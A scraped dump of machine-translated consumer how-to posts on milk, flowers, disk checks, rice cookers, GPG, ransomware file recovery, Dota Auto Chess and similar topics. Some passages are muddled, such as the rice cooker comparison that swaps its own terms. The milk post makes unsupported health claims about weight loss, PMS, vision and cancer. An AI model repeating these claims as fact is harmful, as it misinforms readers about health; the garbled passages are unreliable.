great health benefits of milk and supplement this healthy drink daily. Invite you to consult!\n  1. Beauty skin The beauty of Cleopatra is known for her method of bathing herself in milk. Milk helps to keep your skin smooth, soft and ruddy. All thanks to the vitamins and nutrients needed in milk that are good for the skin's health. This does not mean you need to fill the tub with milk and relax, but drinking at least two glasses of milk a day can bring you this benefit.\n2. Strong teeth Milk is the best source of calcium for the body and that's exactly what your teeth need. In addition, milk also helps prevent cavities and tooth decay. Calcium can only be absorbed into the body by vitamin D, so make sure that the milk you are taking is supplemented with vitamin D.\n  3. Strong bones This is true when it comes to saying that children need to drink milk to improve bone health, in order to improve physical development properly. However, it is also true for adults because milk keeps their bones strong, reducing the risk of developing osteoporosis. Again, this benefit comes from calcium found in milk and your body needs vitamin D to absorb calcium.\n4. Muscle development Milk is also great for improving muscle growth. This is because proteins are found in milk. Many athletes drink milk after a workout, as it provides the body with the necessary nutrients to restore energy consumption. In addition, milk also helps prevent muscle aches and replenish lost fluids during physical activity.\n  5. Lose weight Studies have shown that women who drink milk daily are more likely to lose weight than women who do not drink milk. If you are looking for a healthy snack or appetizer, drink a glass of milk. Many experts also recommend that you drink a glass of milk during dinner or when eating fruit.\n6. Reduce stress Thanks to the vitamins and minerals in milk, it can act as a stress reliever. After a long day at the office, sit down and enjoy a glass of warm milk. This helps to reduce muscle tension and soothe the nerves in the body.\n  7. Reduce symptoms of PMS Many women suffer from symptoms before menstruation PMS. Milk has been shown to relax the body and reduce the negative effects that women experience during their menstrual cycles.\n8. Increase energy Milk offers many benefits, but do you know that it is also good in boosting your body's energy? When the body is struggling to step through a long day and needs a little stimulation, reward yourself with a cool glass of milk. You will feel like being reborn right away.\n  9. Minimize heartburn There are many types of acid-containing foods that make people suffer from heartburn. One of the simplest - most delicious ways to soothe this pain is to drink a glass of milk. The cool feeling and consistent consistency of the milk help cover the esophagus and stomach to prevent heartburn.\n10. Against disease Over the past few decades, researchers have found that milk helps prevent many different diseases, including high blood pressure and a reduced risk of stroke. In addition, milk has the ability to reduce the production of cholesterol in the liver and help improve vision. Besides, there are some researchers who believe that milk may also reduce the risk of developing certain forms of cancer.\nNow that you know that there are many great health benefits from drinking milk, you may wonder if the milk you are taking has benefits for your body. The answer is yes. You can choose fresh milk, low fat milk, 2% fat milk or whole milk. They all give you the same benefits, only different in fat and calories. So why hesitate? Get up and get a big glass of milk right away and enjoy the incredible benefits of milk!\nRefer to some more articles:\nNew finding: Drinking 1 glass of wine has the same effect as 1 hour of gym The 5 health benefits of donating blood may not be known to you 10 miraculous uses of bananas you may not know yet Having fun!\nncG1vNJzZmismaXArq3KnmWcp51kfnF5xqucmqxdl7KvscWiq6xln5t6pb7Ip6Kippdiuqq4ymacr52irnqlrdg%3D\n","link":"/post/10-great-benefits-of-drinking-milk-every-day/","section":"post","tags":null,"title":"10 great benefits of drinking milk every day"},{"body":"Below is a list of the most beautiful night blooms on the planet voted by The Mysterious World. Some flowers familiar to Vietnamese people are also on this list.\n1. Cactus flowers\nEvery year, white cactus flowers bloom only on a single day, from June to July every year. At night, the cactus flowers bloom prominently in the night and give off a pleasant scent until the early morning. This beautiful flower is distributed mainly in Mexico and southern Arizona.\n  2. Flowers four hours\nIn Vietnam, this flower is also known as a chalk or tranquil flower. As its name suggests, this flower blooms only in the evening to the next morning. Saddle flowers have different vibrant colors including red, pink, blue, white or yellow. This is one of the flowers radiating the most pleasant fragrance in the world.\n  3. Flower moon\nThis flower has a round beauty with white wings and only blooms at sunset, and closes in the morning. Moon flowers have a mild scent.\n  4. Flower of incense\nThis nocturnal flowering plant belongs to the tomato family, originating from western India. Flowers are greenish yellow, fragrant at night but contain many toxins.\n  5. Tropical gun flower\nUnlike the cold water lily that blooms during the day, tropical water lilies only bloom at sunset and close before dawn.\n  6. Chrysanthemum chocolate\nThis flower usually blooms at night and gives off a pleasant scent like cocoa so it is called a chrysanthemum. This unique flower species is mainly distributed in the area of ​​grasslands and limestone beaches in the United States.\n  7. Dutch Cactus Flower\nThe funnel-shaped white flower, which gives off a scent and only blooms at night, grows only in the rainforest, so few people have the opportunity to admire its beauty.\n  8. Primrose\nThis beautiful flower blooms only at night and gives off a strong scent.\n  9. Flowers catch Nottingham flies\nFlowers catch closed Nottingham flies during the day, blooming at night and giving off a fragrant scent to attract insects. This flower will bloom continuously for 3 nights, the number of stamens at each night will change to enhance pollination.\n  10. The night orchid - the blossoming orchid\nThis flower is native to South America. Orchids give birth from summer to autumn.\n  ncG1vNJzZmismaXArq3KnmWcp51kfnF5zKiqrWWSmq62wMifrKVllqG8uLHRrGSipl2ptaZ51qippZw%3D\n","link":"/post/10-most-beautiful-flowers-in-the-world/","section":"post","tags":null,"title":"10 most beautiful flowers in the world"},{"body":"Computer hard drive \u0026nbsp;is the part that holds the operating system and stores data, it is quite important in the hardware so it is very important to check the health of the hard drive. Along refer to the article to know how to check your computer's hard drive quickly and easily!\nStep 1: Press the Windows + R keyboard shortcut\u0026gt; Type \"cmd\"\u0026gt; Select OK.\n  Step 2: Type \"wmic\"\u0026gt; Type \"diskdrive get status\"\u0026gt; If it is OK, your computer is working fine.\n  Step 1: Right-click on the hard drive to be checked\u0026gt; Select Properties.\n  Step 2: Select the Tools tab\u0026gt; Select Check.\n  Step 3: Select Scan drive.\n  Step 4: If the screen shows Windows successfully scanned the drive. No errors were found ie your computer is working normally\u0026gt; Click Close to end the test.\n  CrystalDiskInfo gives you complete information about your computer's hard drive, as well as the current temperature and status. On the CrystalDiskInfo dashboard, you can quickly see a long list of updated system data, so it's easy to see if the hard drive is working properly.\n  Salient features\nCheck your computer hard drive quickly and easily. Give detailed, easy-to-understand results. Supports many report file formats: HTML, HTM, MHT, TXT. Information\nPublisher: Crystal Dew World. Capacity: 4,5 MB. Recommended configuration: Windows 2000 / XP / Vista / 7/8/10. Download link\u0026nbsp; HERE . SeaTools for Windows is a tool to help diagnose and cure the hard drive on the computer, thereby offering a reasonable repair plan. Simultaneously, SeaTools for Windows will recognize the signs to detect and promptly handle problems encountered on fixed and external hard drives.\nSalient features\nCheck and diagnose computer hard drive problems you are having (fixed drive and external drive). Integrates several test functions to check the physical environment on the hard disk. Information\nPublisher: Seagate. Size: 20,7 MB. Recommended configuration: Windows XP / Vista / 7/8/10. Download link:\u0026nbsp; HERE . Western Digital Data LifeGuard Diagnostics is an application designed to identify, diagnose and repair hard drives on most Western Digital hard drives. With this utility, users will always know what problems are with the hard drive.\nSalient features\nThe program for Western Digital hard drives. Multiple diagnostic modules. Erase the content on the hard drive. Information\nPublisher: Western Digital. Size: 605 KB. Recommended configuration: Windows XP / Vista / 7/8/10. Download link\u0026nbsp; HERE . HDDScan is a free HDD diagnostic and testing utility for the computer. In addition to the hard drive diagnostic feature, HDDScan also supports checking the status of RAID Arrays, USB and SSD drives. Similar to CrystalDiskInfo, HDDScan also supports checking for physical errors of the hard drive.\n  Salient features\nDiagnose errors, avoid data loss in the computer. Check the hard drive temperature as well as read / write benchmarks (Performance graphs often appear in device tests). Read and analyze hard drive identification information of ATA / SATA / USB / FireWire / SCSI HDD. Supports many software interfaces. Support using the command line. Information\nPublisher: HDD Scan. Size: 3.7 MB. Recommended configuration: Windows XP / Vista / 7/8/10. Download link\u0026nbsp; HERE . How to check the hard drive how to check the hard drive ncG1vNJzZmismaXArq3KnmWcp51kgG7DwLKqZqyfYrCpscKkZK2glWK1pq3LrZ9mp5ZiwamxjKGYq5xdmb%2BqwsRmpqdlkWLEqrrDqK6sZZOkurHB056p\n","link":"/post/3-ways-to-check-the-health-of-the-hard-drive-on-a-windows-computer/","section":"post","tags":null,"title":"3 ways to check the health of the hard drive on a Windows computer"},{"body":"In this article, TipsMake.com will distinguish electronic rice cookers and electric rice cookers to make it easier for you to choose a suitable rice cooker for your family!\nFor Vietnamese, rice is an indispensable item in the family's main meals. In ancient times, rice was cooked with straw stoves, wood stoves; Nowadays, modern technology has brought the rice cooker equipment to help cook rice faster and better.\nCurrently there are 2 main types of rice cooker in the market: electronic rice cooker and electric rice cooker with many different product designs. So users should buy electric or electronic rice cooker to cook the fragrant plastic cooker for family tray? Let's find the answer now!\nQuick review of content What is a rice cooker? What is an electronic rice cooker? Compare electric rice cooker and electronic rice cooker Should I buy an electric rice cooker or rice cooker? The case should buy electric rice cooker Cases should buy electronic rice cookers  What is a rice cooker? What is an electronic rice cooker? Electric rice cooker is a type of electric lid with a lid or a removable electric cooker which is very familiar to Vietnamese people. Equipped with a mechanical relay, when the pot reaches a certain temperature and pressure, it automatically switches off and switches to keep-warm mode.\n  Electric rice cooker has a simple structure.\nElectronic rice cooker is more modern than electric rice cooker. This pot is equipped with an electronic chip pre-installed cooking modes and liquid crystal display for users to choose the cooking mode.\n  Electronic rice cooker has a modern control panel.\nCompare electric rice cooker and electronic rice cooker Electric rice cooker\nElectronic rice cooker\nStructure\nThere is a mechanical relay.\nThere are electronic chips that control.\nThe dishes can be processed\nUsually used only for cooking rice.\nThere are many cooking functions, besides cooking rice, you can make porridge, soup, noodles, making cakes .\nCapacity\nThere are many types of capacity, suitable for cooking for 1-2 people (if using a mini pot) until cooking for more than 6 people.\nUsually only 1.8 liter capacity.\nFunction\nIt is usually cooked (Cook) and kept warm (Warm).\nEquipped with liquid crystal display and many modes to choose such as cooking, reheating, timer .\nCooking time\nFast cooking time.\nCooking time is long, usually up to 45 minutes.\nPrice\nUsually ranges from 200,000 to 1 million .\nUsually at 1.5 - 2 million VND .\nThrough the above comparison table, it can be seen that the electric rice cooker is more complex and modern than the electric rice cooker, which helps to cook more diverse and delicious dishes when cooking with electric rice cooker. However, the electronic rice cooker products are difficult to clean and clean because if not done carefully, it will lead to the short circuit of electronic circuits and the pot cannot work. The price of the electronic rice cooker is also much higher than that of a rice cooker.\n Electronic rice cooker has many cooking modes.\nThe electric rice cooker can be cleaned quickly, easily choosing the pot whether the house is crowded or less, and especially the price is extremely affordable. However, cooked rice with an electric rice cooker is susceptible to dryness or drying if the user does not pay attention to causing too much or too little water when cooking rice.\nShould I buy an electric rice cooker or rice cooker? Through the above evaluation reviews, some suggestions to buy electronic or electric cooker suitable for your family for your reference as follows:\nThe case should buy electric rice cooker The family only needs to cook rice normally. The family only has 1-2 people or more than 6 people.   Electric rice cooker has many capacities to choose from.\nCases should buy electronic rice cookers The family needs to make many dishes such as porridge, soup, cake . Families have 4 - 6 people. Families love the convenience and versatility of products during cooking. Hopefully the above comments have helped you find the answer to the question, should you buy an electric rice cooker or a rice cooker, bring good and warm meals for your family!\nTo buy genuine rice cooker products with the most preferential price, you can order online at META.vn website or contact Hanoi hotline number 024.35.68.69.69 - TP. HCM 028.38.33.33.66 for the fastest advice and support.\nMore reference :\n5 Model of cheap mini rice cooker for students and few people Why should I buy Sharp industrial rice cooker? Tell you how to cook delicious rice with a rice cooker Which diamond rice cooker is the best? ncG1vNJzZmismaXArq3KnmWcp51ksq2xwq2poptdp7aksYycpqijlad6orrDZpylnZOpv6qvjKugnJ1dmLywt8SrZLCgmZi1bsDYqZxmrJ9ir7bF\n","link":"/post/electric-rice-cooker-and-electric-rice-cooker-which-type-to-buy/","section":"post","tags":null,"title":"Electric rice cooker and electric rice cooker: which type to buy?"},{"body":"Facebook is currently one of the most developed social networks and has the largest number of users today. Perhaps one of us is all too familiar with this social network. In the previous issue, the network administrator sent to readers the Facebook cover photos to welcome the New Year of Mau Tu, continue the series of Facebook cover photos, today we would like to share to readers the Facebook cover photos. The quality is very suitable for you to show your personality and novelty on your Facebook profile page.\nDo not let you wait too long, here are some extreme Facebook cover images that we collect, selected from many different sources will certainly not disappoint you. In addition, if you are interested in desktop wallpapers, beautiful wallpapers for your phone, you can also refer to our following articles, all of which are full HD quality images.\n                                                                                                                      See more:\n[Download] Collection of full HD wallpapers for laptops, natural landscape theme Funny, cute, lovely wallpapers for the screen Set of beautiful 4k quality nature wallpapers for computers ncG1vNJzZmismaXArq3KnmWcp51ks6KvxJumqKNdmLy3sdFmmKusXaW1sMDOrGSfp6Jiwam70p5ksKCfYsSiutNmq6hlo528uHnPnqmsp56WuarA2A%3D%3D\n","link":"/post/facebook-cover-art-photos-for-those-who-want-to-show-personality/","section":"post","tags":null,"title":"Facebook cover art photos for those who want to show personality"},{"body":"In the article below, TipsMake will guide you how to automatically change the watch face on Apple Watch.\nStarting with watchOS 7, you can change the watch faces automatically according to the time using the Shortcuts Automation app built into the iPhone.\nThe entire setup process will use the Automation feature in the Shortcuts app. When the installation is complete, you don't need to pay attention to it anymore. A notification will be sent to your device when the shortcut is activated.\nTo begin the setup process, open the Shortcuts app on your iPhone and select the Automation tab .\n  Here, click the plus icon '+' in the right corner of the screen.\n  Select Create Personal Automation .\n  From the New Automation section , choose Time Of Day .\n  From here, select Time Of Day and enter the time you want to change the watch face. From the Repeat section , select Daily . Then, click Next .\n  Now you will install this shortcut as part of the Automation feature. Select the Add Action button .\n  From the search bar, find and select Set Watch Face .\n  From the Actions tab , select the Face button .\n  You will see a list of watch faces here. Select the watch face you want to change.\n  Now the shortcut is ready to go. Click Next .\n  However, this feature in Shortcuts is not automatically enabled by default. They need to be activated from an alert. You can turn this option off. Turn off the button to the right of the Ask Before Running option .\n  From the pop-up message, choose Don't Ask . Your automation will run automatically in the background, you will only see notifications when the shortcut starts working.\n  Press Done at the top to save automation.\n  Automation was set up. During the set time, the watch face on the Apple Watch will change automatically. You will receive notifications from the Shortcuts app on both the iPhone and Apple Watch.\n  You can repeat these for more automation, install more watch faces.\napple watch ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2fnmWRpb2tsYywmK2bmGLEosDCoWSfmZOaerSx062gp5%2BjYrCprc2gnGaZpam8rq3TopqapJyu\n","link":"/post/how-the-apple-watch-watch-face-settings-change-automatically/","section":"post","tags":null,"title":"How the Apple Watch watch face settings change automatically"},{"body":"The content scroll bar is displayed by default based on the tool, the software is open on the computer. With Chrome browser is similar, the scroll bar is designed according to the browser or customized and each website modifies the source code. Scrollbar Customizer is a utility that changes the Chrome browser scrollbar differently than the default.\nUsers have options to change the size, color, and scroll bar style on any web page. We can use the available change templates, or manually enter some content such as length, width, roundness, depending on the need to use. The following article will guide you how to use the Scrollbar Customizer utility to change the browser scroll bar.\nHow to change mouse cursor on Google Chrome How to add options to the right-click menu on Chrome Instructions for enabling Smooth Scrolling on Google Chrome How to change the Chrome interface, create the theme for Chrome very toxic How to use Scrollbar Customizer to change Chrome scroll bar Step 1:\nWe installed the Scrollbar Customizer utility for the Chrome browser according to the link below.\nDownload Chrome Scrollbar Customizer utility   Step 2:\nAfter installing, click on the utility icon at the end of the browser address bar. Show available scrollbar templates at Preset Scrollbars so we can apply changes to the browser roll.\n  When we click on a scroll bar, the interface will be displayed before the scroll bar is changed in Chrome browser. If you like, click the Save button to save.\n  Immediately when you access any web page, the scroll bar is changed according to the selected style.\n  Step 3:\nIf you want to manually adjust the scroll bar to your liking, click the utility icon again and select Customize .\n  Display interface for users to change sections for scroll bars. When choosing the color, select the color you want and click choose to choose a new color. When the change is complete, press the Save button to save.\n  Step 4:\nIf you want to return to Chrome's scrollbar, click on Google Chrome Default in the list of add-ons.\n  Scrollbar Customizer utility brings a new interface to the interface on Chrome, through changing the display interface of the scroll bar. The content for users to change the scroll bar according to their own is very rich, and all have a preview interface for you to preview the display of the new scroll bar like.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUn8K0wIytn55lo5i%2FsLjLZpmaql2ku26vx6umpp0%3D\n","link":"/post/how-to-adjust-the-scroll-bar-on-chrome/","section":"post","tags":null,"title":"How to adjust the scroll bar on Chrome"},{"body":"If you have previously been able to edit images, you will use image editing software such as Microsoft Paint, Adobe Photoshop. However, things have become simpler and easier when many online photo editing services appear. Besides, many services also add other photo design options, such as online photo collage such as FotoJe service.\nThis is an image editing service with a feature that supports users to design images, edit photos and stitch photos. We can use these photo editing features for free. In the article below, Network Administrator will guide you how to read online collage using FotoJet service for free.\nStep 1: You can access the link below to go to the FotoJet online homepage.\nhttps://www.fotojet.com/ Step 2: At the interface of the page, we will see FotoJet provides 3 image editing features including Create a Design, Make a Collage and Edit Photo. To make a free photo, click on Make a Collage .\n  Step 3: Switching to the new interface, FotoJet provides a lot of Calssic Collage photo collage themes, Creative Collage, Misc. Users click on the jigsaw theme that I like in the list provided.\n  Step 4: In each photo blending theme provided by the FotoJet service, you will find many different collage frames. Each frame will follow a separate theme, as well as a composite layout.\nIf the user wants to select a frame that is suitable for the number to match, check the drop down arrow at the All bar. Select the number of collages included in the list. Then select the composite image below.\n  Step 5: Looking to the right you will see a photo collage frame. Here I will choose to merge 4 photos into 1 image. Click on each frame and select Add photo to get the image available on your computer.\n  If you want to change the angle of the frame, just rotate the mouse at the rotating arrow icon. Frames can also move depending on the purpose of each person.\nStep 6: After photo compositing, FotoJet provides more options to edit the image, such as rotating images, cropping images, inserting images, etc. in the Property section.\n  Or if you want, you can add effects to images at Effect . Click Advanced Options to expand the customization for visual effects. You perform the above operation with the remaining images.\n  Step 6: In addition, FotoJet service also supports taking photos on Facebook or other websites. Click on Photo in the menu bar on the left side of the screen. To get a photo on FaceBook, click on the F icon and then click Import Facebook Photo .\n  Step 7: Next, if the user needs to insert text, click on Text, add graphics, press Clipart, change the background, go to Background.\n  For example, add an icon to the collage image. We will also have the effect added to the image. If you want to delete, click the trash can icon.\n  Step 8: After you have finished editing the image, press the floppy disk icon above to save the image.\n  Users choose the image format they want to save as JPG or PNG, Size small or medium image that FotoJet provides. Finally click Save to save.\n  In addition, FotoJet service also supports users to share photos on Facebook, Twitter, Tumblr, Printerest.\n  With FotoJet online photo editing service, users can edit images or create collages like the tutorial above. We can choose from many different jigsaw topics, as well as each jigsaw pattern in each topic that the FotoJet service provides. In addition, you can register an account on FotoJet to use more other useful features.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufoq%2BqusRmp6GnpKTAbrvNpaCnnV2ku26yzq2mo52kYrOwvoyfqZ6d\n","link":"/post/how-to-combine-photos-online-on-fotojet-for-free/","section":"post","tags":null,"title":"How to combine photos online on FotoJet for free"},{"body":"Linking an iPhone or Android device to a PC allows you to seamlessly switch between a mobile device and a computer.\nIf you set up messages and notifications from your Android phone to show up in the Your Phone app on a Windows 10 PC, you can enable or disable the badge display option for unread messages and notifications. from your phone in the Your Phone app and on the Your Phone taskbar icon in Windows 10.\nIf you turn on the App Badging option for Your Phone app, you can choose to remove the sign when viewing unread items, when the application is open or when you view that category.\nThis guide will show you how to enable or disable the display of unread messages and notifications from your phone on the Your Phone app and the taskbar icon in Windows 10.\nSome note If you turn off the Show badges on taskbar buttons option in Windows 10, you won't see the mark on the taskbar icon of Your Phone app, even if the App Badging option is turned on according to this guide.\nIf you turn on the Use small taskbar buttons option in Windows 10, Show badges on taskbar buttons will also be disabled along with the icons on the taskbar of Your Phone app taskbar.\nIf you disable the Badge on taskbar for messages in the Your Phone app settings, you will not see signs for messages on the Your taskbar's taskbar icon, even if the App Badging option is turned on according to this guide. .\nTurn on / off App Badging for unread messages and notifications in Windows 10 Here's how:\n1. Open the Your Phone app on a Windows 10 PC.\n2. Click the Settings icon (gear) in the left pane of the Your Phone application\n3. Perform step 4 (to turn on) or step 5 (to turn off) below, depending on what you want.\n4. To turn on App Badging for Your Phone app:\nA) Turn on the App Badging option on the right.\nB) Select Clear when I view unread items, Clear when the app is open, or Clear when I view the category of items in the drop-down menu depending on what you want and move on to step 6.\nTurn on App Badging for Your Phone app 5. To turn off App Badging for Your Phone app , turn off App badging on the right and go to step 6.\nTurn off App Badging for Your Phone app 6. You can now close the Your Phone application if desired.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYydoKyZkqGybq3PqWSbmZSctq%2BzjKinraGfo3qnu9FmrKeqlZaxbrnErKqan5WoeqK6w2alqKyZm7akrdOipqerXZ67bsPIp5uor6NifnE%3D\n","link":"/post/how-to-enable-disable-app-badging-option-for-unread-messages-and-notifications-in-windows-10/","section":"post","tags":null,"title":"How to enable / disable App Badging option for unread messages and notifications in Windows 10"},{"body":" These easy instructions will explain how to use GPG crypt via e-mail from Ubuntu. It includes setting up the software and sending encrypted information. Install GPG. To do this, run terminal and type in 'sudo apt-get install gnupg' and...\nPart 1of 2:\nSetting up GPG  Install GPG. To do this, run terminal and type in 'sudo apt-get install gnupg' and follow through with any prompting you may get.\n  Install a GUI for GPG. To install a popular GUI, go to the terminal and type in 'sudo apt-get install kgpg'. Follow through with any prompting you may get.\n  An icon for KGPG will be present under Applications → Accessories, to launch KGPG you should click on this icon.\n  Generate a set of keys. To do this, click on the keys tab on the drop down bar, and from the drop down menu select Generate Key Pair. A new interface will pop up. The new interface will ask you for details so that it can generate your key pair. It will ask you for your name and e-mail address, for example. For name, put your screen name; you can either leave e-mail blank, put your real e-mail address, or use a fake e-mail address. It should be noted that the name and e-mail address you use will be visible to anyone you send your public key to. It will also ask you for a comment, which you can leave blank if you wish, or you can put a comment in if you have a reason to do so.   Decide if your key will expire, and if so, when. Usually a key does not need an expiration date, although if you feel the need to put one in, you can do so. After an expiration date passes, your key will no longer function, and you will be required to generate a new pair.\n  Select a key size. As a rule of thumb, the larger the key size, the more secure messages encrypted with the key are going to be. Select 4096 as your key size.\n  Select an algorithm. The default algorithm, DSA \u0026amp; ElGamal, should be selected.\n  After filling out the appropriate fields, click the OK button. You will be taken to a new interface and asked to supply a passphrase. The passphrase should be very long and random, your best bet is to use KeePassX to generate a passphrase.\n  After you enter your passphrase twice, click on the generate button. A window will pop up explaining that a new key pair is being generated. During the generation of the key pair, you should move your mouse about randomly in order to create a large amount of entropy, thus making your key pair more secure. Continue to move your mouse until the generating key pair window closes.\n  After your key pair has generated, the window will close.\n  Note that now your keyring has one set of keys in it (your private key and your public key). You need to send your public key to all those you wish to communicate with, so that they can encrypt information before sending it to you. To do this, right click on the key pair you just generated, and select export public keys. A new window will pop up asking you where you would like to export the public key to. Select clipboard. Your public key will now be stored on your clipboard (meaning it is what will paste when you go to paste something.)\n  Send your public key to others via forums, key servers, e-mails, etc. simply by pasting the key where you would like it to appear. Now others can use your public key to send encrypted information to you.\n  After someone sends you encrypted information, copy the information to your clipboard. Go to KGPG and select File → Open Editor. A new window will pop up that allows you to input text into it. Paste the encrypted information into this window and select decrypt. You will be prompted for your passphrase. After correctly entering your passphrase, the information will decrypt and you will be able to read it.\n Part 2of 2:\nSending other individuals encrypted information with GPG  Upload their key to your keyring. To do this, copy their public key to your clipboard. Now, go to KGPG and go to Keys → Import Keys. A new window will pop up and ask from where you want to import the new key. Select clipboard and then click ok. The persons public key will be added to your keyring.\n  Now that you have the public key of the individual you wish to send encrypted information to, go to File → Open editor. A new window will pop up that allows you to input text into it. Type the message you wish to send to the individual in this window, then click on the Encrypt button. A new window will pop up asking which key you want to use to encrypt the information.\n  If you have not set the individual's public key to trusted, you will need to click on the options button and put a check mark next to 'Allow encryption with untrusted keys'. Now simply click on the key of the person the message is intended for, and select ok. Your message is now encrypted. To send the message to the individual, simply copy and paste the encrypted block of text to your clipboard, and e-mail it to them, or send it to them in a private message, or whatever.   Sign your encrypted message, so that the individual knows that it is in fact coming from you (or someone who has access to your private key and passphrase...which should be only you). To sign your encrypted message, click the sign/verify button and select your private key. You will be prompted to enter your passphrase, and after correctly entering your passphrase a signature will be attached to your message.\n  If you have someone public key, you can verify signed messages they send to you. To do this: Simply paste their signed message into the editor, and click on the sign/verify button. A window will pop up telling you if the signature is valid or not. After you verify the signature, remove the signature from the editor. You will also need to remove one extra '*' at the top and bottom of the message, so that '*****BEGIN PGP MESSAGE*****' is the first line and '*****END PGP MESSAGE*****' is the last line. After doing this, simply click the decrypt key and enter your passphrase after you are prompted to do so.   Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIyapZ1lpaiybrPPoGSfp6JiwqPBza2s\n","link":"/post/how-to-set-up-and-use-gpg-for-ubuntu/","section":"post","tags":null,"title":"How to Set Up and Use GPG for Ubuntu"},{"body":"There are certain restrictions regarding which files can be recovered. Talking about all versions of STOP Djvu, the information can be decoded correctly, if they are encrypted using an offline key available to the Emsisoft Decryptor developers.\nFor Old Djvu, files can also be decoded with original / encrypted file pairs, provided to the STOP Djvu portal. These are identical files (because they contain the same data), except for an encrypted copy, and the other is not.\nThe STOP Djvu portal can analyze the difference between an encrypted file and an original of the same file, allowing it to determine how to decode the file. For most victims who have an older version of STOP / Djvu, sending file pairs is the only way for them to get their files back.\nRemember that this does not apply to New Djvu built after August 2019.\nHow to recover your files? 1. Start by downloading the STOP Djvu decoding tool.\nhttps://www.emsisoft.com/ransomware-decryption-tools/download/stop-djvu\n2. Make sure to start the decryption utility with admin rights. You need to agree to the license terms given, by clicking the Yes button .\nYou need to agree to the license terms given 3. As soon as you accept the license terms, the main Emsisoft Decryptor user interface will appear.\n4. Based on the default settings, the decoder will automatically fill in available locations to decode existing drives (connected drives), including network drives. You can choose additional locations (optional) with the help of the Add button .\n5. Decoders often suggest a number of options considering specific malware families. The options can now be displayed in the Options tab and can be activated or deactivated there. You can define a detailed list of currently active options below.\n6. As soon as you add all the desired locations to decrypt to the list, click the Decrypt button to start the decryption process. Note that the main screen can switch you to the status view, telling you the operating procedure and the decoding statistics for your data.\nClick the Decrypt button to start the decryption process 7. The decoder will notify you as soon as the decoding process is complete. If you need to report a personal document, you can save it by selecting the Save log button .\nClick the Save log button to save the report Note that it is also possible to copy the report directly to the clipboard and paste it into email or forum messages if needed.\nDecoding options for DJVU The decoder at this time provides the option to keep the encrypted files\nConsidering the fact that ransomware does not store any data related to unencrypted documents, the decoder does not guarantee that the decrypted file will be identical to the original encrypted data. Therefore, the decoder, based on default settings, for safety reasons will not delete any encrypted documents after they are decoded.\nIn case you want the decoder to delete any encrypted documents after decoding, you can turn off this feature. Note that this option can be applied if space on your hard drive is limited.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqmudKiqqiepGKxpq%2FRsqetp6JiwbB50Z6aqK6Vp3qntcueqmadnpi%2FurzTnptmmqlisavC1GapmqajpLq4rdGe\n","link":"/post/how-to-use-emsisoft-decryptor-to-recover-files-encrypted-by-djvu-ransomware/","section":"post","tags":null,"title":"How to use Emsisoft Decryptor to recover files encrypted by DJVU ransomware"},{"body":"The latest IO class is now available in DOTA 2, and it is also being tested in Auto Chess with lots of interesting features and promises to be the most attractive unit if officially released in Dota Auto Chess. .\nIO class is Druid, belongs to Elf class and has very strong skills and is noticed by many gamers. So it is rated as an imba unit, in particular when you have 1 star IO, you will only need 2 1 star units for 2-star units, regardless of 2-star IO, you only need 2 units. 2 stars to force on 3-star units.\nAs a new chess appears in Dota Auto Chess, many people will not know how to get used to IO. Learn about the mechanism and how to use IO in the most reasonable way.\n5 mistakes to avoid when playing Dota Auto Chess if you want to win TOP 1 Dota Auto Chess: The most effective tips for making gold and using gold DotA Auto Chess: Tips to help you win easily at rank Queen and above Learn about mechanisms and how to play IO in Dota Auto Chess Basic information about IO   IO buy costs 5 gold IO belongs to the Elf race and no job (not Druid) IO has the advantage that there is no limit to the number of pools in the pool, because there is no pool, the number of IO purchases in a game is infinite. Mechanism appears   Each time a new roll is available (each round or re-roll), each champion will randomly take 2 numbers from 1 to 10,000. If both numbers are 1 (the ratio is 1 / 100,000,000), you will get an SSR for that champion. If \"first number\" is less than 30, you will get an IO with a rate of 0.3%. IO rate   The ability to get at least 1 IO in 1 roll is 1.5%. The ability to produce all 5 IOs in a roll is extremely low. Those courier levels will not be able to reach IO, and leveling does not affect that ratio. 3 IO 1 then output 1 IO 2 No IO 3 * How to use IO IO 1 *: Throw an IO on the table, then throw two 1 * of the same type, for example 2 Tiny ones that will be Tiny. 2. Also lose the IO. IO 2 * : Same as above but 2 * to 3 * For slightly more complicated Druids\nFor example, you have 1 Ench and 1 NP on the table, both are 1 * . Then throw the IO on it and turn 1 of the 2 children into 2 * for you. Same with 2 * Druid, but you must have 4 Druids. Only when your \"Auto Combine\" is turned off will the IO be combined with the Unit. It is recommended that you turn on Auto Combine to avoid mismatch, then when you use IO, make sure to turn it off first. It is worrisome that you will not know the priority of IO when the combination is like, for example you have 2 jugg 1 * and Ax 1 *, throwing IO in you will not know which one will up 2 *. There are some information and instructions for playing new IO units in Dota Auto Chess, it can be said that the probability of IO appearance is quite rare and there are many notes when using. It can be said that if you are lucky, you can own an IO on your board.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKacnKCRo7a0uYyapZ1lpaiuqLGMqJ1moZ9irrG8xJqprGWZo3qlu9OaZJqtpKR6pLTErKo%3D\n","link":"/post/the-mechanism-and-usage-of-io-appears-in-dota-auto-chess/","section":"post","tags":null,"title":"The mechanism and usage of IO appears in Dota Auto Chess"},{"body":"Let's network administrators point through the top of mini-travel mini hair dryers that are loved and trusted by users.\n1. Panasonic EH-ND11 hair dryer Panasonic EH-ND11 hair dryer is a product from the famous Japanese brand Panasonic, the compact machine works with 2 speeds, 2 heat levels.\n  Highlights of the product: 1000W capacity. Turbo Dry mode is available. Quiet operation with effective noise protection system. The machine has a cooling function. The hook on the tail of the machine helps you hang the phone easily. The machine has a noise protection system created by a dual air filter. Weight: 235g. Made in Japan. Warranty 12 months. 2. Bluestone hair dryer HDB-1858P Bluestone HDB-1858P hair dryer will help you take care of your hair gently and effectively without worrying about dry hair. In particular, the product has a foldable handle and a removable dryer, which is very convenient for storing or carrying when traveling as well as for long distance travel.\n  Highlights Powerful 1400W power helps to dry hair quickly. Power off when the machine is overloaded, ensuring durability for the machine. 2 wind speeds, 2 heat levels, cooling function, thermal balance mode make hair smooth. The handle folds conveniently when traveling and storing. A dryer with a hanger makes it easy to store the product. Weight: 400g. Made in China. Warranty: 24 months. 3. Philips HP8108 hair dryer 